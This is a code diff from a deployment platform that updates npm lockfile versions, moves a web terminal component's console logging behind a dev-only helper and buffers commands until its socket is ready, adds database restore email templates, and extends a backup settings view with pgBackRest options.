|
||||
],
|
||||
|
|
@ -1188,6 +1188,66 @@
|
|||
"node": ">=14.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": {
|
||||
"version": "1.7.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"@emnapi/wasi-threads": "1.1.0",
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": {
|
||||
"version": "1.7.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": {
|
||||
"version": "1.1.0",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": {
|
||||
"version": "1.1.0",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"@emnapi/core": "^1.7.1",
|
||||
"@emnapi/runtime": "^1.7.1",
|
||||
"@tybys/wasm-util": "^0.10.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": {
|
||||
"version": "0.10.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"tslib": "^2.4.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": {
|
||||
"version": "2.8.1",
|
||||
"dev": true,
|
||||
"inBundle": true,
|
||||
"license": "0BSD",
|
||||
"optional": true
|
||||
},
|
||||
"node_modules/@tailwindcss/oxide-win32-arm64-msvc": {
|
||||
"version": "4.1.18",
|
||||
"resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz",
|
||||
|
|
@ -2490,9 +2550,9 @@
|
|||
}
|
||||
},
|
||||
"node_modules/rollup": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz",
|
||||
"integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
|
||||
"integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
|
|
@ -2506,31 +2566,31 @@
|
|||
"npm": ">=8.0.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@rollup/rollup-android-arm-eabi": "4.57.1",
|
||||
"@rollup/rollup-android-arm64": "4.57.1",
|
||||
"@rollup/rollup-darwin-arm64": "4.57.1",
|
||||
"@rollup/rollup-darwin-x64": "4.57.1",
|
||||
"@rollup/rollup-freebsd-arm64": "4.57.1",
|
||||
"@rollup/rollup-freebsd-x64": "4.57.1",
|
||||
"@rollup/rollup-linux-arm-gnueabihf": "4.57.1",
|
||||
"@rollup/rollup-linux-arm-musleabihf": "4.57.1",
|
||||
"@rollup/rollup-linux-arm64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-arm64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-loong64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-loong64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-ppc64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-ppc64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-riscv64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-riscv64-musl": "4.57.1",
|
||||
"@rollup/rollup-linux-s390x-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-x64-gnu": "4.57.1",
|
||||
"@rollup/rollup-linux-x64-musl": "4.57.1",
|
||||
"@rollup/rollup-openbsd-x64": "4.57.1",
|
||||
"@rollup/rollup-openharmony-arm64": "4.57.1",
|
||||
"@rollup/rollup-win32-arm64-msvc": "4.57.1",
|
||||
"@rollup/rollup-win32-ia32-msvc": "4.57.1",
|
||||
"@rollup/rollup-win32-x64-gnu": "4.57.1",
|
||||
"@rollup/rollup-win32-x64-msvc": "4.57.1",
|
||||
"@rollup/rollup-android-arm-eabi": "4.59.0",
|
||||
"@rollup/rollup-android-arm64": "4.59.0",
|
||||
"@rollup/rollup-darwin-arm64": "4.59.0",
|
||||
"@rollup/rollup-darwin-x64": "4.59.0",
|
||||
"@rollup/rollup-freebsd-arm64": "4.59.0",
|
||||
"@rollup/rollup-freebsd-x64": "4.59.0",
|
||||
"@rollup/rollup-linux-arm-gnueabihf": "4.59.0",
|
||||
"@rollup/rollup-linux-arm-musleabihf": "4.59.0",
|
||||
"@rollup/rollup-linux-arm64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-arm64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-loong64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-loong64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-ppc64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-ppc64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-riscv64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-riscv64-musl": "4.59.0",
|
||||
"@rollup/rollup-linux-s390x-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-x64-gnu": "4.59.0",
|
||||
"@rollup/rollup-linux-x64-musl": "4.59.0",
|
||||
"@rollup/rollup-openbsd-x64": "4.59.0",
|
||||
"@rollup/rollup-openharmony-arm64": "4.59.0",
|
||||
"@rollup/rollup-win32-arm64-msvc": "4.59.0",
|
||||
"@rollup/rollup-win32-ia32-msvc": "4.59.0",
|
||||
"@rollup/rollup-win32-x64-gnu": "4.59.0",
|
||||
"@rollup/rollup-win32-x64-msvc": "4.59.0",
|
||||
"fsevents": "~2.3.2"
|
||||
}
|
||||
},
|
||||
|
|
|
|||
|
|
@ -2,6 +2,16 @@ import { Terminal } from '@xterm/xterm';
|
|||
import '@xterm/xterm/css/xterm.css';
|
||||
import { FitAddon } from '@xterm/addon-fit';
|
||||
|
||||
const terminalDebugEnabled = import.meta.env.DEV;
|
||||
|
||||
function logTerminal(level, message, ...context) {
|
||||
if (!terminalDebugEnabled) {
|
||||
return;
|
||||
}
|
||||
|
||||
console[level](message, ...context);
|
||||
}
|
||||
|
||||
export function initializeTerminalComponent() {
|
||||
function terminalData() {
|
||||
return {
|
||||
|
|
@ -30,6 +40,8 @@ export function initializeTerminalComponent() {
|
|||
pingTimeoutId: null,
|
||||
heartbeatMissed: 0,
|
||||
maxHeartbeatMisses: 3,
|
||||
// Command buffering for race condition prevention
|
||||
pendingCommand: null,
|
||||
// Resize handling
|
||||
resizeObserver: null,
|
||||
resizeTimeout: null,
|
||||
|
|
@ -120,6 +132,7 @@ export function initializeTerminalComponent() {
|
|||
this.checkIfProcessIsRunningAndKillIt();
|
||||
this.clearAllTimers();
|
||||
this.connectionState = 'disconnected';
|
||||
this.pendingCommand = null;
|
||||
if (this.socket) {
|
||||
this.socket.close(1000, 'Client cleanup');
|
||||
}
|
||||
|
|
@ -154,6 +167,7 @@ export function initializeTerminalComponent() {
|
|||
this.pendingWrites = 0;
|
||||
this.paused = false;
|
||||
this.commandBuffer = '';
|
||||
this.pendingCommand = null;
|
||||
|
||||
// Notify parent component that terminal disconnected
|
||||
this.$wire.dispatch('terminalDisconnected');
|
||||
|
|
@ -188,7 +202,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
initializeWebSocket() {
|
||||
if (this.socket && this.socket.readyState !== WebSocket.CLOSED) {
|
||||
console.log('[Terminal] WebSocket already connecting/connected, skipping');
|
||||
logTerminal('log', '[Terminal] WebSocket already connecting/connected, skipping');
|
||||
return; // Already connecting or connected
|
||||
}
|
||||
|
||||
|
|
@ -197,7 +211,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
// Ensure terminal config is available
|
||||
if (!window.terminalConfig) {
|
||||
console.warn('[Terminal] Terminal config not available, using defaults');
|
||||
logTerminal('warn', '[Terminal] Terminal config not available, using defaults');
|
||||
window.terminalConfig = {};
|
||||
}
|
||||
|
||||
|
|
@ -223,7 +237,7 @@ export function initializeTerminalComponent() {
|
|||
}
|
||||
|
||||
const url = `${connectionString.protocol}://${connectionString.host}${connectionString.port}${connectionString.path}`
|
||||
console.log(`[Terminal] Attempting connection to: ${url}`);
|
||||
logTerminal('log', `[Terminal] Attempting connection to: ${url}`);
|
||||
|
||||
try {
|
||||
this.socket = new WebSocket(url);
|
||||
|
|
@ -232,7 +246,7 @@ export function initializeTerminalComponent() {
|
|||
const timeoutMs = this.reconnectAttempts === 0 ? 15000 : this.connectionTimeout;
|
||||
this.connectionTimeoutId = setTimeout(() => {
|
||||
if (this.connectionState === 'connecting') {
|
||||
console.error(`[Terminal] Connection timeout after ${timeoutMs}ms`);
|
||||
logTerminal('error', `[Terminal] Connection timeout after ${timeoutMs}ms`);
|
||||
this.socket.close();
|
||||
this.handleConnectionError('Connection timeout');
|
||||
}
|
||||
|
|
@ -244,13 +258,13 @@ export function initializeTerminalComponent() {
|
|||
this.socket.onclose = this.handleSocketClose.bind(this);
|
||||
|
||||
} catch (error) {
|
||||
console.error('[Terminal] Failed to create WebSocket:', error);
|
||||
logTerminal('error', '[Terminal] Failed to create WebSocket:', error);
|
||||
this.handleConnectionError(`Failed to create WebSocket connection: ${error.message}`);
|
||||
}
|
||||
},
|
||||
|
||||
handleSocketOpen() {
|
||||
console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');
|
||||
logTerminal('log', '[Terminal] WebSocket connection established.');
|
||||
this.connectionState = 'connected';
|
||||
this.reconnectAttempts = 0;
|
||||
this.heartbeatMissed = 0;
|
||||
|
|
@ -262,6 +276,12 @@ export function initializeTerminalComponent() {
|
|||
this.connectionTimeoutId = null;
|
||||
}
|
||||
|
||||
// Flush any buffered command from before WebSocket was ready
|
||||
if (this.pendingCommand) {
|
||||
this.sendMessage(this.pendingCommand);
|
||||
this.pendingCommand = null;
|
||||
}
|
||||
|
||||
// Start ping timeout monitoring
|
||||
this.resetPingTimeout();
|
||||
|
||||
|
|
@ -270,16 +290,16 @@ export function initializeTerminalComponent() {
|
|||
},
|
||||
|
||||
handleSocketError(error) {
|
||||
console.error('[Terminal] WebSocket error:', error);
|
||||
console.error('[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket');
|
||||
console.error('[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
logTerminal('error', '[Terminal] WebSocket error:', error);
|
||||
logTerminal('error', '[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket');
|
||||
logTerminal('error', '[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
this.handleConnectionError('WebSocket error occurred');
|
||||
},
|
||||
|
||||
handleSocketClose(event) {
|
||||
console.warn(`[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`);
|
||||
console.log('[Terminal] Was clean close:', event.code === 1000);
|
||||
console.log('[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
logTerminal('warn', `[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`);
|
||||
logTerminal('log', '[Terminal] Was clean close:', event.code === 1000);
|
||||
logTerminal('log', '[Terminal] Connection attempt:', this.reconnectAttempts + 1);
|
||||
|
||||
this.connectionState = 'disconnected';
|
||||
this.clearAllTimers();
|
||||
|
|
@ -297,7 +317,7 @@ export function initializeTerminalComponent() {
|
|||
},
|
||||
|
||||
handleConnectionError(reason) {
|
||||
console.error(`[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`);
|
||||
logTerminal('error', `[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`);
|
||||
this.connectionState = 'disconnected';
|
||||
|
||||
// Only dispatch error to UI after a few failed attempts to avoid immediate error on page load
|
||||
|
|
@ -310,7 +330,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
scheduleReconnect() {
|
||||
if (this.reconnectAttempts >= this.maxReconnectAttempts) {
|
||||
console.error('[Terminal] Max reconnection attempts reached');
|
||||
logTerminal('error', '[Terminal] Max reconnection attempts reached');
|
||||
this.message = '(connection failed - max retries exceeded)';
|
||||
return;
|
||||
}
|
||||
|
|
@ -323,7 +343,7 @@ export function initializeTerminalComponent() {
|
|||
this.maxReconnectDelay
|
||||
);
|
||||
|
||||
console.warn(`[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`);
|
||||
logTerminal('warn', `[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`);
|
||||
|
||||
this.reconnectInterval = setTimeout(() => {
|
||||
this.reconnectAttempts++;
|
||||
|
|
@ -335,17 +355,21 @@ export function initializeTerminalComponent() {
|
|||
if (this.socket && this.socket.readyState === WebSocket.OPEN) {
|
||||
this.socket.send(JSON.stringify(message));
|
||||
} else {
|
||||
console.warn('[Terminal] WebSocket not ready, message not sent:', message);
|
||||
logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message);
|
||||
}
|
||||
},
|
||||
|
||||
sendCommandWhenReady(message) {
|
||||
if (this.isWebSocketReady()) {
|
||||
this.sendMessage(message);
|
||||
} else {
|
||||
this.pendingCommand = message;
|
||||
}
|
||||
},
|
||||
|
||||
handleSocketMessage(event) {
|
||||
logTerminal('log', '[Terminal] Received WebSocket message:', event.data);
|
||||
|
||||
// Handle pong responses
|
||||
if (event.data === 'pong') {
|
||||
this.heartbeatMissed = 0;
|
||||
|
|
@ -354,6 +378,10 @@ export function initializeTerminalComponent() {
|
|||
return;
|
||||
}
|
||||
|
||||
if (!this.term?._initialized && event.data !== 'pty-ready') {
|
||||
logTerminal('warn', '[Terminal] Received message before PTY initialization:', event.data);
|
||||
}
|
||||
|
||||
if (event.data === 'pty-ready') {
|
||||
if (!this.term._initialized) {
|
||||
this.term.open(document.getElementById('terminal'));
|
||||
|
|
@ -398,17 +426,24 @@ export function initializeTerminalComponent() {
|
|||
|
||||
// Notify parent component that terminal disconnected
|
||||
this.$wire.dispatch('terminalDisconnected');
|
||||
} else if (
|
||||
typeof event.data === 'string' &&
|
||||
(event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:'))
|
||||
) {
|
||||
logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data);
|
||||
this.$wire.dispatch('error', event.data);
|
||||
this.terminalActive = false;
|
||||
} else {
|
||||
try {
|
||||
this.pendingWrites++;
|
||||
this.term.write(event.data, (err) => {
|
||||
if (err) {
|
||||
console.error('[Terminal] Write error:', err);
|
||||
logTerminal('error', '[Terminal] Write error:', err);
|
||||
}
|
||||
this.flowControlCallback();
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('[Terminal] Write operation failed:', error);
|
||||
logTerminal('error', '[Terminal] Write operation failed:', error);
|
||||
this.pendingWrites = Math.max(0, this.pendingWrites - 1);
|
||||
}
|
||||
}
|
||||
|
|
@ -483,10 +518,10 @@ export function initializeTerminalComponent() {
|
|||
clearTimeout(this.pingTimeoutId);
|
||||
this.pingTimeoutId = null;
|
||||
}
|
||||
console.log('[Terminal] Tab hidden, pausing heartbeat monitoring');
|
||||
logTerminal('log', '[Terminal] Tab hidden, pausing heartbeat monitoring');
|
||||
} else if (wasVisible === false) {
|
||||
// Tab is now visible again
|
||||
console.log('[Terminal] Tab visible, resuming connection management');
|
||||
logTerminal('log', '[Terminal] Tab visible, resuming connection management');
|
||||
|
||||
if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) {
|
||||
// Send immediate ping to verify connection is still alive
|
||||
|
|
@ -508,10 +543,10 @@ export function initializeTerminalComponent() {
|
|||
|
||||
this.pingTimeoutId = setTimeout(() => {
|
||||
this.heartbeatMissed++;
|
||||
console.warn(`[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`);
|
||||
logTerminal('warn', `[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`);
|
||||
|
||||
if (this.heartbeatMissed >= this.maxHeartbeatMisses) {
|
||||
console.error('[Terminal] Too many missed heartbeats, closing connection');
|
||||
logTerminal('error', '[Terminal] Too many missed heartbeats, closing connection');
|
||||
this.socket.close(1001, 'Heartbeat timeout');
|
||||
}
|
||||
}, this.pingTimeout);
|
||||
|
|
@ -553,7 +588,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
// Check if dimensions are valid
|
||||
if (height <= 0 || width <= 0) {
|
||||
console.warn('[Terminal] Invalid wrapper dimensions, retrying...', { height, width });
|
||||
logTerminal('warn', '[Terminal] Invalid wrapper dimensions, retrying...', { height, width });
|
||||
setTimeout(() => this.resizeTerminal(), 100);
|
||||
return;
|
||||
}
|
||||
|
|
@ -562,7 +597,7 @@ export function initializeTerminalComponent() {
|
|||
|
||||
if (!charSize.height || !charSize.width) {
|
||||
// Fallback values if char size not available yet
|
||||
console.warn('[Terminal] Character size not available, retrying...');
|
||||
logTerminal('warn', '[Terminal] Character size not available, retrying...');
|
||||
setTimeout(() => this.resizeTerminal(), 100);
|
||||
return;
|
||||
}
|
||||
|
|
@ -583,10 +618,10 @@ export function initializeTerminalComponent() {
|
|||
});
|
||||
}
|
||||
} else {
|
||||
console.warn('[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize });
|
||||
logTerminal('warn', '[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize });
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('[Terminal] Resize error:', error);
|
||||
logTerminal('error', '[Terminal] Resize error:', error);
|
||||
}
|
||||
},
|
||||
|
||||
|
|
|
|||
|
|
@ -94,7 +94,7 @@
|
|||
}
|
||||
if (this.dispatchAction) {
|
||||
$wire.dispatch(this.submitAction);
|
||||
return true;
|
||||
return Promise.resolve(true);
|
||||
}
|
||||
|
||||
const methodName = this.submitAction.split('(')[0];
|
||||
|
|
|
|||
8
resources/views/emails/database-restore-failed.blade.php
Normal file
8
resources/views/emails/database-restore-failed.blade.php
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<x-emails.layout>
|
||||
Database restore for {{ $name }} has failed.
|
||||
@if($label)
|
||||
Attempted to restore from backup: {{ $label }}
|
||||
@endif
|
||||
|
||||
Error: {{ $error }}
|
||||
</x-emails.layout>
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
<x-emails.layout>
|
||||
Database restore for {{ $name }} was successful.
|
||||
@if($label)
|
||||
Restored from backup: {{ $label }}
|
||||
@endif
|
||||
@if($target_time)
|
||||
Target time: {{ $target_time }}
|
||||
@endif
|
||||
</x-emails.layout>
|
||||
|
|
@ -20,66 +20,208 @@
|
|||
</div>
|
||||
<div class="w-64 pb-2">
|
||||
<x-forms.checkbox instantSave label="Backup Enabled" id="backupEnabled" />
|
||||
@if ($s3s->count() > 0)
|
||||
<x-forms.checkbox instantSave label="S3 Enabled" id="saveS3" />
|
||||
@else
|
||||
<x-forms.checkbox instantSave helper="No validated S3 storage available." label="S3 Enabled" id="saveS3"
|
||||
disabled />
|
||||
@if ($isPostgresql && $backup->database_id !== 0)
|
||||
<x-forms.checkbox instantSave label="Use pgBackRest"
|
||||
id="usePgbackrest"
|
||||
:checked="$engine === 'pgbackrest'"
|
||||
wire:click="togglePgbackrestEngine"
|
||||
helper="Use pgBackRest instead of pg_dump for efficient incremental backups with point-in-time recovery support." />
|
||||
@endif
|
||||
@if ($backup->save_s3)
|
||||
<x-forms.checkbox instantSave label="Disable Local Backup" id="disableLocalBackup"
|
||||
helper="When enabled, backup files will be deleted from local storage immediately after uploading to S3. This requires S3 backup to be enabled." />
|
||||
@else
|
||||
<x-forms.checkbox disabled label="Disable Local Backup" id="disableLocalBackup"
|
||||
helper="When enabled, backup files will be deleted from local storage immediately after uploading to S3. This requires S3 backup to be enabled." />
|
||||
@if ($engine !== 'pgbackrest')
|
||||
@if ($s3s->count() > 0)
|
||||
<x-forms.checkbox instantSave label="S3 Enabled" id="saveS3" />
|
||||
@else
|
||||
<x-forms.checkbox instantSave helper="No validated S3 storage available." label="S3 Enabled" id="saveS3"
|
||||
disabled />
|
||||
@endif
|
||||
@if ($saveS3)
|
||||
<x-forms.checkbox instantSave label="Disable Local Backup" id="disableLocalBackup"
|
||||
helper="When enabled, backup files will be deleted from local storage immediately after uploading to S3." />
|
||||
@else
|
||||
<x-forms.checkbox disabled label="Disable Local Backup" id="disableLocalBackup"
|
||||
helper="Requires S3 backup to be enabled." />
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
@if ($backup->save_s3)
|
||||
@if ($engine !== 'pgbackrest' && $saveS3)
|
||||
<div class="pb-6">
|
||||
<x-forms.select id="s3StorageId" label="S3 Storage" required>
|
||||
<option value="default" disabled>Select a S3 storage</option>
|
||||
<option value="" disabled>Select a S3 storage</option>
|
||||
@foreach ($s3s as $s3)
|
||||
<option value="{{ $s3->id }}">{{ $s3->name }}</option>
|
||||
@endforeach
|
||||
</x-forms.select>
|
||||
</div>
|
||||
@endif
|
||||
<div class="flex flex-col gap-2">
|
||||
<h3>Settings</h3>
|
||||
<div class="flex gap-2 flex-col ">
|
||||
@if ($backup->database_type === 'App\Models\StandalonePostgresql' && $backup->database_id !== 0)
|
||||
<div class="w-48">
|
||||
<x-forms.checkbox label="Backup All Databases" id="dumpAll" instantSave />
|
||||
</div>
|
||||
@if (!$backup->dump_all)
|
||||
<x-forms.input label="Databases To Backup"
|
||||
helper="Comma separated list of databases to backup. Empty will include the default one."
|
||||
id="databasesToBackup" />
|
||||
|
||||
@if ($engine === 'pgbackrest')
|
||||
{{-- PgBackRest Settings Panel --}}
|
||||
<div class="flex flex-col gap-4 p-4 mb-6 border border-coolgray-300 dark:border-coolgray-400 rounded-lg bg-white dark:bg-coolgray-100">
|
||||
<div class="flex items-center gap-1">
|
||||
<h3 class="text-lg font-medium">pgBackRest Settings</h3>
|
||||
<span class="px-2 py-1 text-xs font-medium rounded-md bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-200">
|
||||
Enabled
|
||||
</span>
|
||||
</div>
|
||||
<p class="text-sm text-gray-600 dark:text-gray-400">
|
||||
pgBackRest provides efficient incremental backups with compression, parallel operations, and point-in-time recovery support.
|
||||
</p>
|
||||
|
||||
{{-- Backup Type --}}
|
||||
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
|
||||
<x-forms.select id="pgbackrestBackupType" label="Backup Type" required>
|
||||
<option value="full">Full - Complete database backup</option>
|
||||
<option value="diff">Differential - Changes since last full backup</option>
|
||||
<option value="incr">Incremental - Changes since last backup</option>
|
||||
</x-forms.select>
|
||||
</div>
|
||||
|
||||
{{-- Compression Settings --}}
|
||||
<h4 class="mt-4 font-medium">Compression</h4>
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<x-forms.select id="pgbackrestCompressType" label="Compression Type">
|
||||
<option value="lz4">LZ4 (Recommended - Fast)</option>
|
||||
<option value="zst">Zstandard (Better compression)</option>
|
||||
<option value="gz">Gzip (Compatible)</option>
|
||||
<option value="bz2">Bzip2 (High compression)</option>
|
||||
<option value="none">None</option>
|
||||
</x-forms.select>
|
||||
<x-forms.input type="number" id="pgbackrestCompressLevel" label="Compression Level" min="0" max="9"
|
||||
helper="0 = no compression, 9 = maximum compression. Default: 6" />
|
||||
</div>
|
||||
|
||||
{{-- Log Level --}}
|
||||
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
|
||||
<x-forms.select id="pgbackrestLogLevel" label="Log Level">
|
||||
<option value="info">Info (Default)</option>
|
||||
<option value="warn">Warning</option>
|
||||
<option value="error">Error</option>
|
||||
<option value="detail">Detail</option>
|
||||
<option value="debug">Debug</option>
|
||||
<option value="trace">Trace</option>
|
||||
<option value="off">Off</option>
|
||||
</x-forms.select>
|
||||
</div>
|
||||
|
||||
{{-- Point-in-Time Recovery Mode --}}
|
||||
<h4 class="mt-4 font-medium">Point-in-Time Recovery</h4>
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<x-forms.select id="pgbackrestArchiveMode" label="Archive Mode">
|
||||
<option value="standard">Standard - Restore to any point in time</option>
|
||||
<option value="reduced">Reduced - Limited PITR range, less storage</option>
|
||||
<option value="minimal">Minimal - Backup points only, minimal storage</option>
|
||||
</x-forms.select>
|
||||
</div>
|
||||
<p class="text-sm text-gray-600 dark:text-gray-400">
|
||||
'Standard' keeps full WAL history for restoring to any moment. 'Minimal' only allows restoring to exact backup points but uses less storage.
|
||||
</p>
|
||||
|
||||
{{-- Repository Configuration --}}
|
||||
<h3 class="mt-6">Backup Repositories</h3>
|
||||
<p class="text-sm text-gray-600 dark:text-gray-400 mb-4">
|
||||
Configure where backups are stored. You can enable both local and S3 storage for redundancy.
|
||||
</p>
|
||||
|
||||
<div class="w-64 mb-6">
|
||||
@if ($s3s->count() > 0)
|
||||
<x-forms.checkbox instantSave label="S3 Enabled" id="saveS3"
|
||||
helper="Store backups in S3 using pgBackRest's native S3 support." />
|
||||
@else
|
||||
<x-forms.checkbox instantSave helper="No validated S3 storage available." label="S3 Enabled" id="saveS3"
|
||||
disabled />
|
||||
@endif
|
||||
@elseif($backup->database_type === 'App\Models\StandaloneMongodb')
|
||||
<x-forms.input label="Databases To Include"
|
||||
helper="A list of databases to backup. You can specify which collection(s) per database to exclude from the backup. Empty will include all databases and collections.<br><br>Example:<br><br>database1:collection1,collection2|database2:collection3,collection4<br><br> database1 will include all collections except collection1 and collection2. <br>database2 will include all collections except collection3 and collection4.<br><br>Another Example:<br><br>database1:collection1|database2<br><br> database1 will include all collections except collection1.<br>database2 will include ALL collections."
|
||||
id="databasesToBackup" />
|
||||
@elseif($backup->database_type === 'App\Models\StandaloneMysql')
|
||||
<div class="w-48">
|
||||
<x-forms.checkbox label="Backup All Databases" id="dumpAll" instantSave />
|
||||
</div>
|
||||
@if (!$backup->dump_all)
|
||||
<x-forms.input label="Databases To Backup"
|
||||
helper="Comma separated list of databases to backup. Empty will include the default one."
|
||||
id="databasesToBackup" />
|
||||
@if ($saveS3)
|
||||
<x-forms.checkbox instantSave label="Disable Local Backup" id="disableLocalBackup"
|
||||
helper="When enabled, backups will only be stored in S3." />
|
||||
@else
|
||||
<x-forms.checkbox disabled label="Disable Local Backup" id="disableLocalBackup"
|
||||
helper="Requires S3 to be enabled." />
|
||||
@endif
|
||||
@elseif($backup->database_type === 'App\Models\StandaloneMariadb')
|
||||
<div class="w-48">
|
||||
<x-forms.checkbox label="Backup All Databases" id="dumpAll" instantSave />
|
||||
</div>
|
||||
|
||||
{{-- S3 Repository Settings --}}
|
||||
@if ($saveS3)
|
||||
<div class="mb-6">
|
||||
<h4 class="mb-3">S3 Repository</h4>
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4 mb-4">
|
||||
<x-forms.select id="s3RepoStorageId" label="S3 Storage" required>
|
||||
<option value="" disabled>Select S3 storage</option>
|
||||
@foreach ($s3s as $s3)
|
||||
<option value="{{ $s3->id }}">{{ $s3->name }}</option>
|
||||
@endforeach
|
||||
</x-forms.select>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
|
||||
<x-forms.select id="s3RepoRetentionFullType" label="Full Retention Type">
|
||||
<option value="count">Count (number of backups)</option>
|
||||
<option value="time">Time (days)</option>
|
||||
</x-forms.select>
|
||||
<x-forms.input type="number" id="s3RepoRetentionFull"
|
||||
label="{{ $s3RepoRetentionFullType === 'time' ? 'Days to Keep' : 'Backups to Keep' }}"
|
||||
min="1" />
|
||||
<x-forms.input type="number" id="s3RepoRetentionDiff" label="Diff Backups to Keep" min="1" />
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Local Repository Settings --}}
|
||||
@if ($this->showLocalRepoSettings)
|
||||
<div class="mb-6">
|
||||
<h4 class="mb-3">Local Repository</h4>
|
||||
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
|
||||
<x-forms.select id="localRepoRetentionFullType" label="Full Retention Type">
|
||||
<option value="count">Count (number of backups)</option>
|
||||
<option value="time">Time (days)</option>
|
||||
</x-forms.select>
|
||||
<x-forms.input type="number" id="localRepoRetentionFull"
|
||||
label="{{ $localRepoRetentionFullType === 'time' ? 'Days to Keep' : 'Backups to Keep' }}"
|
||||
min="1" />
|
||||
<x-forms.input type="number" id="localRepoRetentionDiff" label="Diff Backups to Keep" min="1" />
|
||||
</div>
|
||||
</div>
|
||||
@if (!$backup->dump_all)
|
||||
<x-forms.input label="Databases To Backup"
|
||||
helper="Comma separated list of databases to backup. Empty will include the default one."
|
||||
id="databasesToBackup" />
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
@endif
|
||||
|
||||
<div class="flex flex-col gap-2">
|
||||
<h3>Settings</h3>
|
||||
